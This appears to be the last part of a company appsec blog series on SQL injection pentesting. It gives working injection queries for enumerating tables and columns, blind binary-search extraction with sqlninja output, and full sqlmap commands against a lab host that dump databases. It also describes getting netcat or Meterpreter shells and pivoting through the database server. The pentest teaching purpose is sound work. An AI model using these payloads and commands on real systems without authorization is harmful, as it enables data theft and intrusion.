Extract the data
If you want to extract some data from a database you first need to gather knowledge about the internal structure of the database.
One of the first steps (after determining the database type) is enumerating the available tables and the corresponding columns. Most database systems have a meta database called information_schema. By querying this database it is possible to get information about the internal structure of the installed databases. For example you could get the tables and their corresponding columns in MS SQL and MySQL by injecting “SELECT table_name, column_name FROM information_schema.columns
“. Oracle databases have their own meta tables, so you have to handle them differently. For getting the same output in Oracle, you have to query the all_tab_columns table (or user_tab_columns if you only want to search in the currently selected database). If the found vulnerability only allows to receive a single column (or if it is too complicated to identify two columns in the server response) you could concatenate the columns to one single string, e.g. in Oracle: “SELECT table_name||':'||column_name FROM all_tab_columns
“.
A much more frequent problem you have to deal with is that only the first row of a result-set is returned. To get all table and column names you have to iterate over the results. It is helpful to determine the expected row count first by injecting a “SELECT COUNT(column_name) FROM all_tab_columns
“. Iterating over the results in MySQL is simple: “SELECT table_name, column_name FROM information_schema.columns LIMIT $start,1
” (where $start denotes the current offset in the result-set). MS SQL doesn’t support to specify ranges for the results. This is why you have to combine several select statements to get the same result:
SELECT TOP 1 table_name, column_name FROM (SELECT TOP $start table_name, column_name FROM information_schema.columns ORDER BY table_name DESC) ORDER BY table_name ASC
(where $start denotes the row number you want to extract).
If you are confronted with a large database, it is always easier to search for interesting column names instead of tables. So you can combine the mentioned query statements with where clauses to search for columns which contain ‘pass’ or ‘user’.
If the found vulnerability is a blind or totally blind SQL injection, you have to use boolean expressions to extract some data. One approach is getting the database username (or any other data) by doing a binary search with the procedures ASCII
and SUBSTR
.
For example on Oracle databases you would get the first character of an username by injecting “ASCII(SUBSTR(username, 1,1))
” into the where clause. To do a binary search on ‘Admin’ you would do “ASCII(SUBSTR(username, 1, 1)) < 128
” which results in true. The next value to compare with is 64 (which is right in the middle of 0 and 128). This time the query would fail because the ascii value of ‘A’ is 65. Now you compare with 96 (the middle of 64 and 128) and so on, until you reach 65. After that you will treat the remaining characters in the same way.The following excerpt is an output from sqlninja (which will be covered again later on), which uses this technique in an automated way on a totally-blind SQLi vulnerability:
[ … ]
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 79 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 55 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 67 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 73 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 76 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 77 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 78 waitfor delay '0:0:5';
-------------------------------------------
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),1,1)) < 78 waitfor delay '0:0:5';
-------------------------------------------
Here he found the first character: N
and now continues with the second:
++++++++++++++++SQL Command++++++++++++++++
if ascii(substring((select system_user),2,1)) < 79 waitfor delay '0:0:5';
-------------------------------------------
[ … ]
Essential Tools
As the manual extraction of data can be quite time consuming, the usage of automated tools becomes essential. There are various tools that may help identifying and exploiting SQLi vulnerabilities. One of them is sqlmap, which concentrates on blind SQL injection, it comes with many options and supports a lot of different Database Servers (amongst them MS-SQL, MySQL, Oracle and PostgreSQL) which is one of the reasons why it is covered in this article. The extraction process is very intuitive and sqlmap tries to identify automatically the sort of SQLi (Blind, totally blind …) if not specified, so it is easy to get it up and running in a few minutes. We are not going into great detail, as this would go beyond the scope, but are showing a few commands which may already suffice to let sqlmap extract all available data from the database. Prerequisite for the following scenario is an already identified SQLi Vulnerability:
The first command tries to enumerate all available databases using the vulnerable parameter “txtUserName”:
sqlmap -u "http://172.16.141.128/vulnweb/SQLInjection/Login.aspx" --data=__VIEWSTATE=dDwtNjI1NzM1OTs7Pv6HhHTCvfGeXKasVQXuFgQtgqym\& txtUserName=\&txtPassword=\&Button1=OK --dbms=mssql --dbs -p txtUserName
The next command enumerates all available table names of the found databases without the need to specify the database names as all gathered information are stored in a local progress file and automatically used for all further attacks:(This feature becomes important as soon as the amount of already collected data gets vastly large.)
sqlmap -u "http://172.16.141.128/vulnweb/SQLInjection/Login.aspx" --data=__VIEWSTATE=dDwtNjI1NzM1OTs7Pv6HhHTCvfGeXKasVQXuFgQtgqym\& txtUserName=\&txtPassword=\&Button1=OK --dbms=mssql --tables -p txtUserName
After using the same command but with the –columns option instead of –tables, enough necessary information were gathered to identify potential interesting tables of which now data can be extracted from. As this process might sometimes last too long, it is also possible to search for specific column names like “password” with the –search option. If however time doesn’t matter or the content is expected to be not very large, the –dump-all option may be used to extract all data contained in all databases.
As SQLi vulnerabilities enable an attacker not only to extract data, but sometimes also to execute system level commands, it is possible, and most tools offer such an option, to upload and execute binary files like e.g. netcat, resulting in an interactive shell with the same rights of the SQL server process (in the worst case root/administrative rights).Going one step further, sqlmap respectively sqlninja (a handy and in some cases less buggier than some others, but MS-SQL only SQLi tool) are able to use the exploitation framework Metasploit, which offers various attack payloads like “Creation of an administrative user” or a “Reverse-TCP shell”.In that way it is for example possible, to upload the powerful Meterpreter payload using an existing SQL injection vulnerability within a web application. Once started, Meterpreter enables system level access and can be used (depending on the rights of the database server process respectively the patch status of the underlying system) to extract system level data and utilize the database server as a jump host to an internal network or to exploit a local privilege escalation vulnerability to gain administrative rights.
An attacker uses an existing SQL injection vulnerability to upload and execute the meterpreter payload, then added a route entry within metasploit, making the internal network of the SQL server accessible through the meterpreter session and is now able to scan and attack systems behind the server, which would normally be not reachable from the attacker side.
Rating of the findings
After doing all the testing stuff, there’s one important step missing, at least if we are talking about a professional pentest. The criticality rating of findings is a mandatory task in the course of a pentest. On the one hand, the comparative value of the rating must be guaranteed, on the other hand, the rating must be appropriate for the environment which is in scope of the pentest. Based on these requirements, we propose the Common Weakness Scoring System as an appropriate metric for the rating of web application related security findings like SQL injection.The design considerations of CWSS include the applicability for scoring processes as well as the integration of stakeholder concerns or environmental requirements. These considerations result in the definition of three different metric groups which each contain different factors:
Different entities may evaluate separate factors at different points in time. As such, every CWSS factor effectively has “environmental” or “temporal” characteristics. Different pre-defined values can be assigned to each factor and each factor also has a default value. The different values for the single factors are explained in detail here:
CWSS uses also a reliability factor, so the factor Finding Confidence is explained as an example above.
All factors will be combined using a formula, which results in a value between 0 and 100. The higher a weakness is scored, the higher is the associated criticality. Regarding the formula and the used factors and weights, the CWSS allows a precise, comparable, and reproducible rating of vulnerabilities in the context of web application pentests. The rating will also help the application owner to prioritize the findings and use the always limited resources for the most critical issues.
Final Conclusion
Bringing the mentioned steps of the methodology together, you can follow a small checklist to identify all SQL injection issues in an application and help the application owner to mitigate the most severe problems. But every shortening of the test steps will have a negative influence on your success rate and the acceptance of the results:
1. Identify all input vectors
2. Test all input vector with a set of test signatures
3. Identify the database
4. Exploit the SQL injection vulnerability to proof the existence and avoid any discussions
5. Rate the criticality of the findings based on a metric
… the end 🙂
Thanks for following us and staying tuned to wait for all the parts of this article. If you missed one or both of the earlier posts, don’t forget to read “SQL Injection Testing for Business Purposes Part 1” and “SQL Injection Testing for Business Purposes Part 2” to get it all.
Michael, Timo and Frank from the Appsec Team
Continue reading